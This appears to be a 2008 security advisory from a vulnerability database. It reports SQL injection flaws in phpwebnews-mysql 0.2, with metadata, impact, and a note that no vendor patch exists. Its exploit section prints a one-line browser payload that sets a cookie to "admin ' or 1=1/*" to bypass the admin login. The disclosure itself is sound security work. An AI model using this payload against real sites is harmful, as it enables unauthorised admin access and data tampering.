phpwebnews-mysql Multiple SQL Injection Vulnerabilities

Bugtraq ID:	30383
Class:	Input Validation Error
CVE:
Remote:	Yes
Local:	No
Published:	Jul 26 2008 12:00AM
Updated:	Jul 28 2008 06:07PM
Credit:	Virangar Security Team
Vulnerable:	Codewalkers phpwebnews-mysql 0.2
Not Vulnerable:

phpwebnews-mysql Multiple SQL Injection Vulnerabilities

'phpwebnews-mysql' is prone to multiple SQL-injection vulnerabilities because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting these issues could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

These issues affect phpwebnews-mysql 0.2; other versions may also be affected.

phpwebnews-mysql Multiple SQL Injection Vulnerabilities

Attackers can use a browser to exploit these issues.

The following exploit code is available:

javascript:document.cookie = "a1=admin ' or 1=1/*; path=/;"; document.cookie = "a2=[what ever]; path=/;";

phpwebnews-mysql Multiple SQL Injection Vulnerabilities

Solution:
Currently we are not aware of any vendor-supplied patches. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].

phpwebnews-mysql Multiple SQL Injection Vulnerabilities

References:

• phpwebnews-mysql Download page (Codewalkers)